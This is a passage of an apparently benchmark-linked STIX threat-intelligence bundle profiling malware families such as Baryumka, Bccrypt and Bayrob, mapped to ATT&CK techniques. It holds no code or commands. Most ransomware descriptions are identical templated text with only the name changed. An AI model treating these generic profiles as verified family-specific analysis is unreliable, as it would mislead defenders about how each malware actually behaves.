      "description": "Baryumka (classified in antivirus detection telemetry under designations including Ransom:Win32/Baryumka, Ransom.Win32.Baryumka, and Win32/Baryumka) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Baryumka executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Baryumka",
        "Ransom.Win32.Baryumka",
        "Win32/Baryumka"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Baryumka",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/baryumka"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d8573fb5-2881-5b0d-bf11-86cc9d97c3c1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--56e3529f-c15e-5385-aa49-11ff7a1973fc",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Baryumka exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5ecfcc4a-8238-58b4-a100-1329ab27a5b5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--56e3529f-c15e-5385-aa49-11ff7a1973fc",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Baryumka exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--af61c8f5-7a10-5058-9791-f22ab41deea9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--56e3529f-c15e-5385-aa49-11ff7a1973fc",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Baryumka exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9ca5932d-0434-5913-9f5a-af1ec33f58ce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--56e3529f-c15e-5385-aa49-11ff7a1973fc",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Baryumka exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bd8b93d5-368a-5a06-8d57-0e95bc0d358b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--56e3529f-c15e-5385-aa49-11ff7a1973fc",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Baryumka exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a22d0587-2d5a-5b10-b13f-5d9c0f4c330e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Baserch",
      "description": "Baserch (classified in antivirus detection telemetry under designations including Ransom:Win32/Baserch, Ransom.Win32.Baserch, and Win32/Baserch) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Baserch executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Baserch",
        "Ransom.Win32.Baserch",
        "Win32/Baserch"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Baserch",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/baserch"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--34a202a4-84b1-565b-acdf-0bd5fd2f02a8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a22d0587-2d5a-5b10-b13f-5d9c0f4c330e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Baserch exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--669c8c41-dcf4-5c0b-b70b-87377fd1db6e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a22d0587-2d5a-5b10-b13f-5d9c0f4c330e",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Baserch exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ecffbbe9-a18d-53b4-bc00-478aeb9133db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a22d0587-2d5a-5b10-b13f-5d9c0f4c330e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Baserch exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8e4879af-64db-5f5a-a3d6-ea4ec13c60b6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a22d0587-2d5a-5b10-b13f-5d9c0f4c330e",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Baserch exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--39313519-72a3-562e-a293-39ed362ef0dd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a22d0587-2d5a-5b10-b13f-5d9c0f4c330e",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Baserch exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--50f5dde7-fc27-558c-9756-0369a98e3573",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Basine",
      "description": "Basine (classified in antivirus detection telemetry under designations including Ransom:Win32/Basine, Ransom.Win32.Basine, and Win32/Basine) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Basine executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Basine",
        "Ransom.Win32.Basine",
        "Win32/Basine"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Basine",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/basine"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--449266cd-628f-510a-8c49-02d88f798d42",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--50f5dde7-fc27-558c-9756-0369a98e3573",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Basine exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--43d85c06-8756-526e-a3f2-630fb31bc1be",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--50f5dde7-fc27-558c-9756-0369a98e3573",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Basine exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9f51f71c-877e-59a9-bdb0-830cf1736736",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--50f5dde7-fc27-558c-9756-0369a98e3573",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Basine exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cb7ad530-8ee4-5035-98e3-93b74ffebedd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--50f5dde7-fc27-558c-9756-0369a98e3573",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Basine exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8a0fc4ca-24e6-56d2-9d4d-1cc4a37b9a11",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--50f5dde7-fc27-558c-9756-0369a98e3573",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Basine exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--934e55ef-e776-585d-a1b7-07ab3bc5d57d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Batlauncher",
      "description": "Batlauncher (classified in antivirus detection telemetry under designations including Ransom:Win32/Batlauncher, Ransom.Win32.Batlauncher, and Win32/Batlauncher) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Batlauncher executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Batlauncher",
        "Ransom.Win32.Batlauncher",
        "Win32/Batlauncher"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Batlauncher",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/batlauncher"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--13009cd9-5333-5258-a1a6-138760df242f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--934e55ef-e776-585d-a1b7-07ab3bc5d57d",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Batlauncher exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--18646f24-c9e7-590a-8331-97b525250a9c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--934e55ef-e776-585d-a1b7-07ab3bc5d57d",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Batlauncher exhibits technique T1027 (Obfuscated Files or Information (String manipulation and caret obfuscation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8fab09a0-a40e-56e1-a2dc-22584a494c69",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--934e55ef-e776-585d-a1b7-07ab3bc5d57d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Batlauncher exhibits technique T1105 (Ingress Tool Transfer (Using certutil, bitsadmin, or PowerShell))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7bfab686-5dce-5739-b9bd-6cc803dd2fe3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Batton",
      "description": "Batton (classified in antivirus detection telemetry under designations including Ransom:Win32/Batton, Ransom.Win32.Batton, and Win32/Batton) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Batton executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Batton",
        "Downloader.Batton",
        "Win32/Batton",
        "Ransom:Win32/Batton",
        "Ransom.Win32.Batton"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Batton",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/batton"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a1fa52df-ce55-50f6-a778-73749fd29c06",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7bfab686-5dce-5739-b9bd-6cc803dd2fe3",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Batton exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8157f920-255c-540a-8793-37017c8bf939",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7bfab686-5dce-5739-b9bd-6cc803dd2fe3",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Batton exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e6e42af1-d995-5916-8c60-01ffc965f413",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7bfab686-5dce-5739-b9bd-6cc803dd2fe3",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Batton exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9f7747ad-51b6-5a49-b7ad-365de925eb6d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bayrob",
      "description": "Bayrob (cataloged across cybersecurity research and international law enforcement filings as Trojan.Bayrob, Win32/Bayrob, and W32.Bayrob) was a notorious cybercriminal botnet and fraud trojan operated for nearly a decade by a Romanian cybercrime syndicate led by Bogdan Nicolescu, Danet Tiberiu, and Radu Miclaus. Originating around 2007, Bayrob initially powered large-scale online vehicle and auction fraud schemes on platforms like eBay, spoofing legitimate escrow services to divert buyer funds. Over time, the gang evolved Bayrob into an expansive botnet spanning over 300,000 compromised computers, propagating via massive spam campaigns sending over 11 million emails with weaponized attachments. The malware modified browser proxy settings to perform man-in-the-middle credential harvesting, injected cryptocurrency miners, and exfiltrated sensitive financial data. Following a decade-long collaborative investigation between Symantec, the FBI, and Romanian authorities, the core operators were arrested in 2016, extradited to the United States, and convicted of wire fraud, identity theft, and money laundering in federal court. (Observed samples in benchmark: 74)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Bayrob",
        "Win32/Bayrob",
        "W32.Bayrob",
        "Trojan:Win32/Bayrob"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bayrob",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bayrob"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3cb8b3d1-5923-5c97-b1e6-e0e6241d4fe5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9f7747ad-51b6-5a49-b7ad-365de925eb6d",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bayrob exhibits technique T1185 (Browser Session Hijacking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f2cd5168-2403-5e30-998a-6195ef845f39",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9f7747ad-51b6-5a49-b7ad-365de925eb6d",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bayrob exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--069ca590-96fe-5515-a26f-f3dd434418fd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1090.001: Proxy: Internal Proxy",
      "description": "MITRE ATT&CK Technique T1090.001 (Proxy: Internal Proxy) under tactic Command and Control.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1090.001",
          "url": "https://attack.mitre.org/techniques/T1090/001/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1b2f8f13-841c-50c5-8d27-1b0f787a921d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9f7747ad-51b6-5a49-b7ad-365de925eb6d",
      "target_ref": "attack-pattern--069ca590-96fe-5515-a26f-f3dd434418fd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bayrob exhibits technique T1090.001 (Proxy: Internal Proxy)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d9bc901f-29f8-52d7-8f0c-115926746400",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9f7747ad-51b6-5a49-b7ad-365de925eb6d",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bayrob exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5f38d0f3-fe00-5fe6-b354-4a44ac2f7ec6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9f7747ad-51b6-5a49-b7ad-365de925eb6d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bayrob exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--268d6418-bdae-597b-83ee-0091df90bcdb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bccrypt",
      "description": "Bccrypt (classified in antivirus detection telemetry under designations including Ransom:Win32/Bccrypt, Ransom.Win32.Bccrypt, and Win32/Bccrypt) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bccrypt executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Bccrypt",
        "Ransom.Win32.Bccrypt",
        "Win32/Bccrypt"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bccrypt",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bccrypt"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--50692345-b9ff-5d55-bafd-c3a950ceeb17",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--268d6418-bdae-597b-83ee-0091df90bcdb",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bccrypt exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--60110f80-3ef8-5bfa-a17d-6eeb5a01a8b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--268d6418-bdae-597b-83ee-0091df90bcdb",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bccrypt exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--404ec1e8-1b90-5192-b206-ac8cb8f28a44",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--268d6418-bdae-597b-83ee-0091df90bcdb",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bccrypt exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f258861c-8b31-55a5-8b8f-5181ec0e9519",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--268d6418-bdae-597b-83ee-0091df90bcdb",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bccrypt exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--51159bf9-2826-571b-9ae7-8fa977a6b962",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--268d6418-bdae-597b-83ee-0091df90bcdb",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bccrypt exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cbba8e14-ef7a-5bf2-b7c1-77441929ac6d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Be3Auestydmi",
